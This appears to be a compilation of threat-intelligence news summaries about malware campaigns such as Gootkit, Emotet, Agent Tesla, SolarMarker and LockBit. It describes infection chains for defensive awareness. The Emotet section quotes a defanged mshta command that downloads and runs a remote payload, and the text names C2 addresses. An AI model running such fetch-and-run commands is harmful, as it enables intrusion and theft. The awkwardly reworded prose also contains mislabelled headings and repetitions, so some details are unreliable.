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Evolution of Gootkit Malware Using Obfuscations

Mandiant Managed Defense has reliably resolved GOOTLOADER infections since January 2021. When spreading GOOTLOADER, malicious actors cast a wide net, affecting a variety of industrial verticals and geographical areas.

Gootkit Malware

The Gootkit Trojan is Javascript-based malware that carries out a number of malicious tasks, such as authorizing threat actors remote access, recording video, capturing keystrokes, stealing emails, stealing passwords, and having the ability to inject malicious files to steal online banking login details.

Gootkit previously spread malware in the disguise of freeware installers, but now it deceives users into downloading these files by presenting them as legal documents. A user enters a search query into a search engine to begin the attack chain. 

Mandiant Managed Defense believes that UNC2565, a group it tracks, is the sole group that the GOOTLOADER virus and infrastructure belong to at this time. Due to these breaches' rapid detection and mitigation, Mandiant's observation of post-compromise GOOTLOADER activities has mostly been restricted to internal surveillance.

If the GOOTLOADER file is successfully executed, other payloads like FONELAUNCH and Cobalt Strike BEACON or SNOWCONE that are saved in the registry will be downloaded. Future phases include PowerShell being used to execute these payloads.

The. NET-based loader FONELAUNCH is intended to load an encoded payload into memory, while the downloader SNOWCONE is responsible for obtaining next-stage payloads, notably IcedID, through HTTP.

The primary aims of Gootkit have remained the same, however, the attack process has undergone substantial modifications. Currently, the JavaScript file contained in the ZIP archive is trojanized and contains a different JavaScript file that is obfuscated and then begins to execute the malware.

Furthermore, to avoid detection, the malware's creators allegedly used three distinct strategies to cloak Gootkit, including hiding the code inside modified versions of trustworthy JavaScript libraries like jQuery, Chroma.js, and Underscore.js. These modifications show how actively developing and expanding UNC2565's capabilities remain.

Cheerscrypt Spyware Attributed to Chinese APT Entity

The Emperor Dragonfly Chinese hacker group, notorious for frequently switching between several ransomware families to avoid detection, has been connected to the Cheerscrypt virus. 

The attacks were linked by the cybersecurity company Sygnia to a threat actor also dubbed Bronze Starlight and DEV-0401. The hacking gang seems to be a ransomware operation, but past research suggests that the Chinese government is interested in many of its victims.

Cheerscrypt is the most recent addition to a long range of ransomware families that the gang has previously used, including LockFile, Atom Silo, Rook, Night Sky, Pandora, and LockBit 2.0 in a little over a year.

Recently, Sygnia researched a Cheerscrypt ransomware operation that utilized Night Sky ransomware TTPs. The attackers then dropped a Cobalt Strike beacon linked to a C2 address formerly tied to Night Sky operations. 

The code for the Babuk ransomware, which was exposed online in June 2021, was used to develop the Cheerscrypt ransomware family, which Trend Micro first analyzed in May 2022. Cheerscrypt is one of several ransomware families used by the APT organization. The DEV-0401 group, unlike other ransomware gangs, oversees every stage of the assault chain directly, from the first access to the data theft. It does not rely on a system of affiliates.

A significant Log4Shell vulnerability in Apache Log4j was utilized by hackers in January 2022 assaults to acquire initial access to VMware Horizon servers. They subsequently dropped a PowerShell payload that was used to send an encrypted Cobalt Strike beacon. Apart from the beacon, the hackers also sent three Go-based tools: a keylogger that sent keystrokes to Alibaba Cloud, a customized version of the internet proxy tool iox, and the tunneling program NPS.

Trend Micro initially identified Cheerscrypt in May 2022, highlighting its capacity to target VMware ESXi servers as a component of a tried-and-true strategy known as double extortion to force its victims into paying the ransom or risk having their data exposed.

The hackers break into networks, take information, and encrypt devices just like other ransomware groups that target businesses. The victim is then coerced into paying a ransom through double-extortion methods using the data. The stolen data is posted on a data leak website when a ransom is not paid.

A PowerShell payload that can deliver an encrypted Cobalt Strike beacon has been dropped on VMware Horizon servers by infection chains that have exploited the major Log4Shell vulnerability in the Apache Log4j library.

Cheerscrypt and Emperor Dragonfly share initial access vectors, and lateral movement strategies, including the use of DLL side-loading to distribute the encrypted Cobalt Strike beacon. Notably, the ransomware gang is acting as a 'lone wolf' separated from the rest of the cybercrime community rather than as a RaaS (Ransomware-as-a-Service) platform for affiliates.

Hackers Deploy Agent Tesla Malware via Quantum Builder

A campaign promoting the long-standing.NET keylogger and remote access trojan (RAT) known as Agent Tesla uses a program that is available on the dark web that enables attackers to create harmful shortcuts for distributing malware. 

In the campaign that the experts observed, malicious hackers were using the developer to generate malicious LNK, HTA, and PowerShell payloads used to produce Agent Tesla on the targeted servers. The Quantum Builder also enables the creation of malicious HTA, ISO, and PowerShell payloads which are used to drop the next-stage malware. 

When compared to previous attacks, experts have found that this campaign has improved and shifted toward LNK, and Windows shortcut files. 

A spear-phishing email with a GZIP archive is swapped out for a ZIP file in a second round of the infection sequence, which also uses other obfuscation techniques to mask the harmful behavior. 

The shortcut to run PowerShell code that launches a remote HTML application (HTA) using MSHTA is the first step in the multi-stage attack chain. In turn, the HTA file decrypts and runs a different PowerShell loader script, which serves as a downloader for the Agent Tesla malware and runs it with administrative rights. 

Quantum Builder, which can be bought on the dark web for €189 a month, has recently witnessed an increase in its use, with threat actors utilizing it to disseminate various malware, including RedLine Stealer, IcedID, GuLoader, RemcosRAT, and AsyncRAT. 

Malicious hackers often change their tactics and use spyware creators bought and sold on the black market for crimes. This Agent Tesla effort is the most recent in a series of assaults in which harmful payloads were created using Quantum Builder in cyber campaigns against numerous companies. 

It features advanced evasion strategies, and the developers frequently upgrade these techniques. To keep its clients safe, the Zscaler ThreatLabz team would continue to track these cyberattacks. 

Agent Tesla, one of the most notorious keyloggers used by hackers, was shut down on March 4, 2019, due to legal issues. It is a remote access program built on the.NET platform, that has long existed in the cyber realm, enabling malicious actors to obtain remote access to target devices and transmit user data to a domain under their control. It has been in the public since 2014 and is promoted for sale on dark web forums. 

In a recent attack, OriginLogger, a malware that was hailed as the replacement for the well-known data theft and remote access trojan (RAT) noted as Agent Tesla, had its functioning dissected by Palo Alto Networks Unit 42.

Notepad++ Plugin Cyberattack Analysis

Analysts from the Cybereason GSOC team have examined a unique method that makes use of Notepad++ plugins to evade and persist against security safeguards on a computer.

This report, called Threat Analysis, is a part of a series titled "Purple Team Series" which analyzes current attack methods, how hackers use them, and how to spot when they are being utilized.

Threat Analysis Reports are published by the Cybereason Global Security Operations Center (GSOC) Team to provide information on emerging threats. These risks are examined in the Threat Analysis Reports, which also offer useful advice for defending against them.

Plugins are merely modules that are created specifically using programming languages like C# or installed from the community-maintained approved list. The %PROGRAMFILES%Notepad++plugins directory is where these plugins are kept.

Threat Analysis 

The organization stated in an advisory on Wednesday that a security researcher going by the moniker of RastaMouse successfully showed how to create a malicious plugin that can be used as a persistence mechanism using the open-source project Notepad++ Plugin Pack.

The plugin bundle alone is essentially a Visual Studio.NET package that offers a simple framework for creating plugins. However, advanced persistent threat (APT) organizations have in the past used Notepad++ plugins for evil.

According to the Cybereason advice, "The APT group StrongPity is known to exploit a genuine Notepad++ installer accompanied by malicious executables, enabling it to remain after a reboot on a PC."

The Cybereason team examined the Notepad++ plugin loading process and created an attack scenario based on it for their advisory.

A custom Notepad++ command can be activated by using the SCI ADDTEXT API in tandem with Notepad++. Researchers developed a DLL in C# that, upon pressing any key inside Notepad++ for the first time, will execute a PowerShell command.

The PowerShell command will run a Meterpreter payload in an expert attack scenario. To ensure that the availability of our C2 would not be impacted by repeated connection attempts, researchers set this to just run once.

According to the company, in their "attack scenario, the PowerShell command will execute a Meterpreter payload."

Cybereason successfully obtained administrative access to the compromised system by running Notepad++ as "administrator" and re-running the payload. Static analysis methods were able to extract signs such as the binary's architecture, compilation time, and programming language.

As a preventive measure, the Cybereason GSOC advises turning on the Detect and Prevent modes of the Anti-Malware feature on the Cybereason NGAV. Furthermore, security experts advised businesses to keep an eye on Notepad++'s odd child processes and pay attention to shell content kinds to mitigate the hazard.

Hacktivists Target Asian Government Organizations


An unknown espionage group called Worok that is active since late 2020 targets high-profile businesses and municipal governments with headquarters largely in Asia.

The cyber gang, originally identified as Worok by ESET experts, also has attacked targets in the Middle East and Africa.

Worok is alleged to have parallels with another antagonistic collective known as TA428 in terms of skills and goals. TA428 has been linked to attacks against military, government, and public sector organizations, as well as telecom, banking, maritime, and energy firms.

Worok's toolkit, according to ESET researcher Thibaut Passilly, "includes a C++ loader CLRLoad, a PowerShell backdoor PowHeartBeat, and a C# loader PNGLoad that employs steganography to extract concealed malicious payloads from PNG files."

Between May 2021 and January 2022, the group's malicious operations took a significant hiatus before picking back up the following month. The Slovak cybersecurity company determined that the group's objectives were compatible with identity theft.

In certain cases, ProxyShell exploits were used to gain an initial foothold on target networks until 2021 and 2022. Additional custom backdoors were then introduced for entrenched access. Other initial compromise approaches are not yet known.

Infection chains in 2022 have now abandoned CLRLoad in favor of PowHeartBeat, a fully functional PowerShell implant that launches PNGLoad and communicates with a remote server via HTTP or ICMP to carry out associated file operations, transmit and receive files, and execute arbitrary commands.

​"In such situations, webshells have often been uploaded after these vulnerabilities have been exploited on order to enable persistence in the victim's network. The operators then utilized a variety of implants to obtain more capabilities, "Passilly continued.

ESET discovered a new PowerShell backdoor called PowHeartBeat, which has replaced CLRLoad in instances recorded since February 2022 as the tool designed to launch PNGLoad on infected systems. However, it has not yet been able to recover one of the final payloads delivered in the group's attacks.

A cyber espionage organization called Worok compromises its targets using both custom-built tools and techniques that already exist.

We believe the attackers are after information theft from their victims as they target high-profile organisations in Asia and Africa, focusing on diverse sectors, both private and public, but with a particular emphasis on government entities.

Hacker's Spread ModernLoader, XMRig Miner Malware


During March and June 2022, Cisco Talos researchers discovered three distinct but connected campaigns that were spreading various malware to victims, including the ModernLoader bot, RedLine info-stealer, and cryptocurrency miners.

The hackers spread over a targeted network via PowerShell,.NET assemblies, HTA, and VBS files before releasing further malware, like the SystemBC trojan and DCRat, to enable different stages of its exploits, according to a report by Cisco Talos researcher Vanja Svajcer.

Cisco Talos further said that the infections were caused by a previously unidentified but Russian-speaking spyware, that used commercial software. Users in Bulgaria, Poland, Hungary, and Russia were among the potential targets. 

The first stage payload is an HTML Application (HTA) file that executes a PowerShell script stored on the command-and-control (C2) server to start the deployment of interim payloads that eventually use a method known as process hollowing to inject the malware.

ModernLoader (also known as Avatar bot), a straightforward.NET remote access trojan, has the ability to download and run files from the C2 server, run arbitrary instructions, acquire system information, and alter modules in real-time. 

Additionally, the actors dispersed across a targeted network using PowerShell,.NET assemblies, HTA, and VBS files before releasing additional malware, such as the SystemBC trojan, and DCRAT, to carry out various operations related to their activities.

It is challenging to identify a specific adversary behind this behavior because the attackers used various commercially available tools, according to Cisco Talos.

Despite the lack of clarity surrounding attribution, the business reported that threat actors used ModernLoader as the final payload in all three campaigns. This payload then functioned as a remote access trojan (RAT) by gathering system data and delivering further modules.

In addition, two older attacks from March 2022 were discovered by Cisco's analysis. These campaigns use ModerLoader as its principal malware C2 communication tool and also spread other malware, such as XMRig, RedLine Stealer, SystemBC, DCRat, and a Discord token stealer, among others. 

Days prior to the publication of the piece, the corporation hosted a webinar in which it reaffirmed its cybersecurity support for Ukraine in honor of the nation's Independence Day.

Gootkit Loader: Targets Victims via Flawed SEO Tactics


Gootkit previously concealed dangerous files using freeware installers and now, it is deceiving users to download these files by engineering them as lawful documents. Looking at a flag for a PowerShell script, researchers were able to stop it from doing any harm and from delivering its payload. This approach was discovered through managed extended detection and response (MxDR). 

In order to compromise unwary users, the creators of the Gootkit access-as-a-service (AaaS) virus have reemerged. Gootkit has a history of disseminating threats including the SunCrypt ransomware, REvil (Sodinokibi) malware, Kronos trojans, and Cobalt Strike via fileless tactics.

The discoveries add to a prior report by eSentire, which stated in January that numerous attacks targeted the staff of accounting and law companies to propagate malware on compromised systems.

Gootkit is a tool of the rising underground ecosystem of access brokers, who are well-known for charging money to provide other hackers access to corporate networks, opening the door for real destructive operations like ransomware.
Upgraded Tactics

A search engine user initiates the attack chain by entering a specific query. A website infiltrated by Gootkit operators is displayed among the results using a black SEO method used by hackers.

The website is presented to the victim as an online forum that answers his question directly when they visit it. The malicious.js code, which is used to create persistence and inject a Cobalt Strike binary into the target system's memory, was housed in a ZIP download that was made available by this forum.

"The obfuscated script that was run when the user downloaded and accessed this file used registry stuffing to install a section of encrypted codes in the registry and add scheduled tasks for persistence. Then, utilizing PowerShell's reflective loading of the encrypted registry code, the Cobalt Strike binary that runs entirely in memory was rebuilt," reads Trend Micro's analysis.

Experts drew attention to the fact that proprietary text replacement technology has replaced base64 encoding in encrypted registries.

The Cobalt Strike binary loaded straight into the victim's system's RAM has been seen connecting to the Cobalt Strike C2's IP address, which is 89[.]238[.]185[.]13. The major payload of Cobalt Strike, a tool used for post-exploitation actions, is the beacon component.

Defensive measures

This case demonstrates,  that Gootkit is still active and developing its methods. This danger demonstrates that SEO poisoning continues to be a successful strategy for enticing unwary users. 

User security awareness training, which tries to enable people to identify and defend themselves against the most recent risks, is something that organizations can do to help. 

This incident emphasizes the value of round-the-clock supervision. Notably, cross-platform XDR stopped this assault from getting worse since it allowed us to rapidly isolate the compromised system and prevent the threat from causing more harm to the network.

XFiles Malware Exploits Follina, Expands ItsAttacks

What is XFiles?

The X-Files info stealer malware has put a new vulnerability in its systems to exploit CVE-2022-30190- Follina, and attack targeted systems with malicious payloads. A cybersecurity firm said that the new malware uses Follina to deploy the payload, run it, and take control of the targeted computer. "In the case of the XFiles malware, researchers at Cyberint noticed that recent campaigns delivering the malware use Follina to download the payload, execute it, and also create persistence on the target machine," says Bleeping Computers.  

How is Follina infected? 

•The malware, sent in the victims' spam mail, consists of an OLE object that directs to an HTML file on an external resource that has JavaScript code, which exploits Follina. 

•After the code is executed, it gets a base64-encoded string that contains PowerShell commands to make a presence in the Windows startup directory and deploy the malware. 

•The second-stage module, "ChimLacUpdate.exe," consists of an AES decryption key and a hard-coded encryption shellcode. An API call decodes it and deploys it in the same running process. 

•After infection, XFiles starts normal info stealer malware activities like targeting passwords and history stored in web browsers, cookies, taking screenshots, and cryptocurrency wallets, and look for Telegram and Discord credentials. 

•The files are locally stored in new directories before they are exfiltrated via Telegram. 

The XFiles is becoming more active 

• A cybersecurity agency said that XFiles has expanded by taking in new members and initiating new projects. 

• A project launched earlier this year by Xfiles is called the 'Punisher Miner.' 

• However, it's an irony that a new mining tool will charge $9, the same as how much XFiles costs for a month of renting the info stealer. 

CyWare Social says "it appears that the XFiles gang is expanding and becoming more prolific. The gang is recruiting talented malware authors, becoming stronger, and thus providing their users with more readymade tools that do not require experience or coding knowledge. Successful incorporation of the Follina-exploiting document increases the chances of infection and consequently increases the success rate of attacks."

Three Malware Fileless Phishing Campaigns: AveMariaRAT / BitRAT /PandoraHVNC


A phishing effort that was distributing three fileless malware onto a victim's device was detailed by cybersecurity experts at Fortinet's FortiGuard Labs. AveMariaRAT, BitRAT, and PandoraHVNC trojan viruses are spread by users who mistakenly run malicious attachments delivered in phishing emails. The viruses are dangerously capable of acquiring critical data from the device.
Cybercriminals can exploit the campaign to steal usernames, passwords, and other sensitive information, such as bank account numbers. BitRAT is particularly dangerous to victims because it can take complete control of infected Windows systems, including viewing webcam activity, listening to audio through the microphone, secretly mining for cryptocurrency that is sent to the attackers' wallet, and downloading additional malicious files.

The first phishing mail appears to be a payment report from a reputable source, with a brief request to view a linked Microsoft Excel document. This file contains dangerous macros, and when you open it, Microsoft Excel warns you about using macros. If the user disregards the warning and accepts the file, malware is downloaded. The malware is retrieved and installed onto the victim's computer using Visual Basic Application (VBA) scripts and PowerShell. For the three various types of malware that can be installed, the PowerShell code is divided into three pieces. This code is divided into three sections and employs the same logic for each virus: 
  • A dynamic mechanism for conducting GZip decompression is included in the first "$hexString." 
  • The second "$hexString" contains dynamic PowerShell code for decompressing the malware payload and an inner.Net module file for deploying it. 
  • The GZip-compressed malware payload is contained in the "$nona" byte array. The following PowerShell scripts are retrieved from the second $hexString and are used to decompress the malware payload in $nona and to deploy the malware payload into two local variables using the inner.Net module. 
The study doesn't explain as to why the phishing email contains three malware payloads, but it's conceivable that with three different types of malware to deploy, the cybercriminals will have a better chance of gaining access to whatever critical information they're after. 

Phishing is still one of the most prevalent ways for cyber thieves to deliver malware because it works – but there are steps you can take to avoid being a victim. Mysterious emails claiming to offer crucial information buried in attachments should be avoided, especially if the file requires users to allow macros first. Using suitable anti-spam and anti-virus software and training workers on how to recognize and report phishing emails, businesses may help workers avoid falling victim to phishing emails.

Emotet : The Infamous Botnet Has Returned


Kaspersky researchers were able to retrieve and analyze 10 out of 16 modules, with most having been used by Emotet in the past in one form or another. Kaspersky Lab was created in 1997 as multinational cybersecurity and digital privacy organization. Kaspersky's deep risk intelligence and security expertise are continually evolving into new security solutions and services to safeguard enterprises, vital infrastructure, governments, and consumers all around the world. 

Emotet was discovered in the wild for the first time in 2014. Its major purpose back then was to steal user's financial credentials. Since then, it has gone through several modifications, began transmitting other viruses, and eventually evolved into a strong botnet. Emotet is a type of malware classified as banking Trojans. Malspam, or spam emails with malware, is the most common way for it to propagate. To persuade users, these communications frequently contain familiar branding, imitating the email structure of well-known and trustworthy companies such as PayPal or DHL. 

As per Kaspersky telemetry, the number of victims increased from 2,843 in February 2022 to 9,086 in March 2022, indicating the attackers targeted more than three times the number of users. As a result, the number of threats detected by Kaspersky solutions has increased, from 16,897 in February 2022 to 48,597 in March 2022. 

A typical Emotet infection starts with spam e-mails containing malicious macros in Microsoft Office attachments. The actor can use this macro to launch a malicious PowerShell command which will drop and start a module loader, which will then talk with a command and control server to download and start modules. In the percent Windows percent SysWOW64 or percent User percent AppDataLocal directory, Emotet creates a subfolder with a random name and replicates itself under a completely random name and extension. The exported Control RunDLL method is used to launch the Emotet DLL's primary activity. These modules can be used to carry out a range of actions on the infected computer. Kaspersky researchers were able to extract and evaluate 10 of the 16 modules, the majority of which had previously been utilized by Emotet. 

Researchers now state that the Emotet can download 16 modules judging by the recent Emotet protocol and C2 answers. They were able to recover ten of them (including two separate copies of the Spam module), which were utilized by Emotet to steal credentials, passwords, accounts, and e-mail addresses, as well as spam. We present a brief examination of these modules and also statistics on current Emotet attacks in this post. 

To gather the account details of various email clients, the current version of Emotet can create automated spam campaigns which are further spread down the network from infected devices, retrieving emails and email addresses from Thunderbird and Outlook apps and accumulating passwords from popular web browsers like Internet Explorer, Mozilla Firefox, Google Chrome, Safari, and Opera. 

Emotet infects computers in businesses and homes all around the world. As per our telemetry, Emotet most frequently targeted users from the following countries in Q1 2022: Italy (10.04%), Russia (9.87%), Japan (8.55%), Mexico (8.36%), Brazil (6.88%), Indonesia (4.92%), India (3.21%), Vietnam (2.70%), China (2.62), Germany (2.19%) and Malaysia (2.13%). 

The present set of components is capable of a wide range of malicious activities, including stealing e-mails, passwords, and login data from a variety of sources, as well as spamming. Except for the Thunderbird components, Emotet has utilized all of these modules in some form or another before. However, there are still a few modules that we haven't been able to get our hands-on.

The Wizard of Deception: Jupyter Infostealer


Researchers recently discovered a new variant of SolarMarker, a malware family which is mostly transmitted using SEO manipulation to persuade people into downloading malicious documents. SolarMarker uses defense evasion to extract auto-fill data, saved passwords, and stored credit card information from victims' web browsers. It offers extra features which are unusual to be seen in info stealers, such as file transfer and command execution from a C2 server.

Jupyter packaged itself with legal executables when it was first detected towards the end of 2020. When it was run, it revealed a PowerShell script that had been obfuscated. The threat group is improving layers of stealth and obfuscation, such as loading the Jupyter Dynamic-Link Library (.DLL) into memory rather than writing the file to disk. Now, it is frequently packaged in massive Windows® installer packages (.MSI) which can reach 100 MB in size. 

To further conceal its motives, these packages are still integrated with legitimate software and signed with valid digital certificates. The installer will load and seek to install the bundled genuine application after installation. However, buried deep within the Trojan installer's code is a small, extensively obfuscated, and encrypted PowerShell script which runs in the background. 

Jupyter has masked itself as a variety of programs and installers. The malware's main file extension has been changed to.MSI, and it executes its obfuscated PowerShell script via several techniques. Jupyter is usually hosted on phony downloading websites which pose as real hosts. These websites typically offer a free PDF book. These can be accessed accidently by a victim or via a link in a spam email. 

It is often packaged with freeware software and certified with unrevoked digital certificates, making the installation appear more authentic. When the Windows installer package is loaded, it will present an installer pop-up for the targeted legitimate application, while loading data and running in the background. 

Jupyter has deployed itself in a variety of ways in the past campaign. The malware usually has two primary files: 
  • An executable and a Windows PowerShell script that contains the harmful code.
  • Some Jupyter variants have also dumped a temporary file (.TMP) into the victim’s %AppData%\Roaming\Temp\ directory, to construct the normal content of Jupyter's main malicious PowerShell script. 

PowerShell is used by the virus to conceal and execute its harmful code without ever publishing itself to disk on the victim's PC. It avoids writing to disk by loading Jupyter's DLL into memory reflectively. DLLs are usually injected into a process from a file written to a disk. 

Reflective DLL injection is a technique for injecting code into a victim process directly from memory rather than from disk. Because the fully un-obfuscated malware does not live on disk, it necessitates the creation of a persistence mechanism, such as registry keys that reload the malware when the victim machine boots up. As a result, Jupyter DLL is difficult to both identify and use. 

Jupyter's basic PowerShell may be split down into six different phases or components. Each phase aids in the achievement of a given objective, function, or capability. Though many Jupyter samples follow the same procedures, differences in Jupyter's PowerShell code exist, and certain samples have been observed to work in slightly different methods to achieve the same goals. 

One can make a modest tweak to the attacker's PowerShell script to save the assembly to disk instead of loading it into memory. This will also assist us in comprehending the operation of this version of SolarMarker. One can see the decompiled code, as well as the names of the classes and functions, are incorrect. Instead, they appear to be obfuscated. 

The SolarMarker backdoor is a.NET C2 client which uses an encrypted channel to interact with the C2 server. HTTP is used for communication, with POST requests being the most common. The data is secured with RSA encryption and symmetric encryption using the Advanced Encryption Standard (AES). Internal reconnaissance is carried out by the client, who gathers basic information about the victim's system and exfiltrates it through an existing C2 channel. The infostealer module has a structure that is quite identical to the backdoor module we discussed earlier, but it has more features.

By reading files relevant to the target browser, the SolarMarker infostealer module obtains login data, cookies, and web data (auto-fill) from web browsers. To decrypt the credentials, SolarMarker uses the API method CryptUnprotectData (DPAPI). 

The usefulness of behavior-based detectors in reducing the stay time of threats inside a network has been recognized by the security industry in recent years. 

Bridgestone USA Alleges to be Infiltrated by a LockBit Ransomware Cell


The LockBit ransomware gang claims to have infiltrated Bridgestone Americas' network and stolen data. It is an American subsidiary of Bridgestone Corporation, a Japanese tire, and automobile components manufacturer. It is a conglomerate of companies with more than 50 manufacturing locations and 55,000 people spread across America. If the corporation does not pay the ransom, Lock bit operators aim to reveal the private documents by March 15, 2022, 23:59. 

Bridgestone began an investigation into "a potential information security incident" on February 27, which was discovered in the morning hours of the same day. The incident remained unknown until recently when the LockBit ransomware gang claimed responsibility for the attack by adding Bridgestone Americas to its list of victims.

LockBit is one of the most active ransomware groups today, demanding significant sums of money in exchange for stolen data. According to a Kaspersky investigation, the ransomware gang utilizes LockBit, a self-spreading malware that uses tools like Windows Powershell and Server Message Block to proliferate throughout an enterprise. 

As per Dragos' study, the transportation and food and beverage industries were the second and third most targeted industries, respectively. LockBit is currently threatening Bridgestone with the release of their data.

The examination by the tire company indicated the attacker followed a "pattern of behavior" which is usual in ransomware assaults. Bridgestone went on to say the attacker had taken information from a small number of its systems and had threatened to make the stolen data public.

In a statement, the company said they are "committed to conducting a rapid and definitive inquiry to identify as swiftly as possible what precise data was obtained" from their environment. "The security of our teammates, customers, and partners' information is extremely important to Bridgestone."

Despite the fact that the LockBit ransomware gang has primarily targeted the industrial and manufacturing sectors, ransomware like the one utilized by the gang can still infect your PC.

To prevent ransomware criminals from getting into users' accounts, Kaspersky recommends using strong passwords and enabling multi-factor authentication. The antivirus firm also advised having system-wide backups in case data was lost due to malware infection. Additionally, keeping your system configurations up to date and following all security measures will help you avoid being a ransomware victim, saving you a lot of time and aggravation.

AnchorDNS Loophole of a TrickBot Spyware Upgraded to AnchorMail


Even after the TrickBot infrastructure was shut down, the malware's operators continued to improve and retool its arsenal in preparation for attacks which ended in the distribution of the Conti ransomware. The new, improved edition of the criminal gang's AnchorDNS backdoor was called AnchorMail by IBM Security X-Force, which discovered it. 

According to IBM's malware reverse researcher Charlotte Hammond, AnchorMail "uses an email-based [command-and-control] server with which it connects using SMTP and IMAP protocols over TLS." "AnchorMail's behavior is essentially similar to vs its AnchorDNS predecessor, excluding the redesigned C2 communication method." 

The Trickbot Group, also known as ITG23 on X-Force, is a cybercriminal group best known for creating the Trickbot financial Trojan. Originally discovered in 2016, it was used to aid online banking fraud, initially. The gang adapted to the ransomware economy by gaining a footing for ransomware assaults utilizing its Trickbot and Bazarloader payloads, a tight partnership with both the Conti ransomware-as-a-service provider (RaaS). 

ITG23 is also known for creating the Anchor malware framework, which includes the AnchorDNS variant. In 2018 various high-profile targets were being infected with Trickbot or Bazarbackdoor, another ITG23 backdoor. AnchorDNS is known for using the DNS protocol to communicate with its Command and Control (C2) server. The improved backdoor, dubbed AnchorMail or Delegatz by IBM Security X-Force researchers, now communicates with an email-based C2 server through SMTP and IMAP protocols via TLS. AnchorMail's functionality is essentially similar to its AnchorDNS predecessor for most of its part, with the exception of the redesigned C2 communication mechanism. 

The uncovering of this updated Anchor variant adds an extra inconspicuous backdoor during ransomware assaults, demonstrating the group's drive to continually improve its malware. AnchorMail provides a scheduled job for persistence after execution, which is set to execute every 10 minutes. It then gathers basic system data, registers with its C2, and enters a loop of monitoring for and executing commands received. 

The command structure of the backdoor and AnchorDNS appear to be fairly similar, and both forms appear to accept the same set of control codes, which allow a variety of various possibilities for processing orders and payloads received from the C2. The commands include the ability to run binaries, DLLs, and shellcode downloaded from a remote server, as well as launch PowerShell commands and erase themselves from infected PCs. 

"The revelation of this new Anchor version adds a new covert gateway used during ransomware assaults, AnchorMail has only been seen to target Windows PCs so far. However, given the AnchorDNS has been adapted to Linux, a Linux-based version of AnchorMail appears inevitable," said Charlotte Hammond, BM's malware reverse engineer.

 Iran's MuddyWater Hacker Group is Exploiting New Malware


According to a notice issued by US security and law enforcement authorities, Iran-linked cyber activities are targeting a variety of government and private organizations in several areas across Asia, Africa, Europe, and North America.

"MuddyWater actors are poised to deliver stolen data and access to the Iranian government, as well as to share them with other cybercriminal actors," the agencies stated. The FBI, the Cybersecurity and Infrastructure Security Agency (CISA), the U.S. Cyber Command Cyber National Mission Force (CNMF), and the National Cyber Security Centre of the United Kingdom have issued a combined advisory (NCSC) in the regard.

This year, the cyber-espionage actor was revealed to be working for Iran's Ministry of Intelligence and Security (MOIS), conducting malicious operations against a wide range of state and private organisations in Asia, Africa, Europe, and North America, including telecommunications, defence, local government, and the oil and natural gas sectors. 

MuddyWater is also known by the aliases Earth Vetala, MERCURY, Static Kitten, Seedworm, and TEMP. Aside from publicly disclosed vulnerabilities, the hacker group has already been seen using open-source tools to get access to sensitive information, deliver ransomware, and maintain resilience on victim networks. 

Late last month, Cisco Talos conducted a follow-up analysis and discovered a previously unknown malware campaign focused on Turkish private and governmental entities with the purpose of delivering a PowerShell-based backdoor. In harmful operations, MuddyWater actors use new variations of PowGoop malware as its main loader, which consists of a DLL loader and an Operating system downloader. The malicious programme poses as a valid Google Update executable file and is signed as such. 

A surveying script to identify and send data about target PCs back to the remote C2 server rounds out MuddyWater's arsenal of weapons. A newly discovered PowerShell backdoor was also installed, which is used to perform actions obtained from the attacker. 

The agencies advise enterprises to utilise multi-factor authentication whenever possible, limit the usage of administrator credentials, deploy phishing defences, and prioritise correcting known exploited vulnerabilities to provide barriers against potential attacks.

Malicious Excel Files are Now Being Used to Spread Emotet Malware


Researchers discovered that the infamous Emotet malware has altered methods yet again, this time in an email campaign propagated by infected Excel files. In a report released online on Tuesday, researchers from Palo Alto Networks Unit 42 detected a new infection strategy for the high-volume malware, which is known to alter and change its attack vectors to avoid detection and continue its malicious job. 

Emotet was found in 2014 as a banking trojan, and it has been quite active in recent years. The Emotet botnet infrastructure was taken down in January 2021 by law enforcement and judicial agencies, but Emotet resurfaced in November 2021 and has remained active since then. Thread hijacking is a common attack tactic used by Emotet. This method generates bogus responses based on legitimate emails obtained from mail clients of Emotet-infected Windows hosts. This stolen email data is used by the botnet to generate false replies imitating the original senders. 

The new attack vector, found on December 21 and still active, sends an Excel file with an obfuscated Excel 4.0 macro via socially engineered emails. These macros are an ancient Excel feature that malicious actors routinely exploit. Before the malicious content can be activated, the victim must enable macros on a vulnerable Windows host. 

When the macro code is enabled, cmd.exe is executed to launch mshta.exe with an argument to obtain and run a remote HTML application. In order to avoid static detection methods, the code employs hex and character obfuscation, cmd /c mshta hxxp://91.240.118[.]168/se/s.html is the deobfuscated command string that is executed. The HTML application has been heavily obfuscated. It will download and run additional PowerShell code.

The first PowerShell script is obfuscated and connects to hxxp://91.240.118[.]168/se/s.png. This URL delivers a text-based script for a second-stage set of PowerShell code aimed at retrieving an Emotet binary. This second-stage PowerShell code contains 14 URLs that will be used to retrieve the Emotet binaries. 

Each URL is tried until an Emotet binary is successfully downloaded. The use of numerous URLs strengthens this assault in the case that one of the URLs is taken down. As the final stage of this attack chain, the Emotet DLL loads an encrypted PE from its resource area. 

“Emotet’s new attack chain reveals multiple stages with different file types and obfuscated script before arriving at the final Emotet payload,” Unit 42 researchers Saqib Khanzada, Tyler Halfpop, Micah Yates and Brad Duncan wrote.

SolarMarker Malware Utilize Cutting-Edge Techniques

The SolarMarker data thief and gateway operators have been identified using devious Windows Registry ways to maintain long-term persistence on infected systems, indicating that the malicious actors are constantly changing strategy and improving defensive mechanisms.

The. NET-based malware, which boasts data harvesting and backdoor capabilities, has been linked to at least three consecutive attack waves in 2021. The first batch revealed in April, employed search engine poisoning to trick business executives by visiting dodgy Google pages which downloaded SolarMarker on users' PCs. In August, the malware was discovered to be stealing accounts and sensitive information from the healthcare and education sectors.

In the following infection chains revealed by Morphisec in September 2021, the usage of MSI installers to assure malware dissemination was observed. SolarMarker's technique begins with users being directed to decoy sites with drop MSI installer payloads which, while downloading ostensibly legitimate software like Adobe Acrobat Pro DC, Nitro Pro, or Wondershare PDFelement, really launch a PowerShell script.

According to cybersecurity firm Sophos, which noticed the new behavior, despite the operation's end in November 2021, remote management implants are still located on targeted networks."Such SEO efforts, which blended Google Groups consultations with deceitful web pages and PDF documents hosted on infected sites, are beneficial, the SolarMarker lures were ordinarily at or near the top of the search engines for phrases the SolarMarker actors targeted," said Sophos researchers Gabor Szappanos and Sean Gallagher. 

To assure persistence, the PowerShell installer modifies the Registry Entries and drops a.LNK file into Windows' starting directory. This unlawful alteration causes the malware to be delivered from an encrypted payload concealed behind a "smokescreen" of 100 to 300 garbage files built particularly for this purpose.

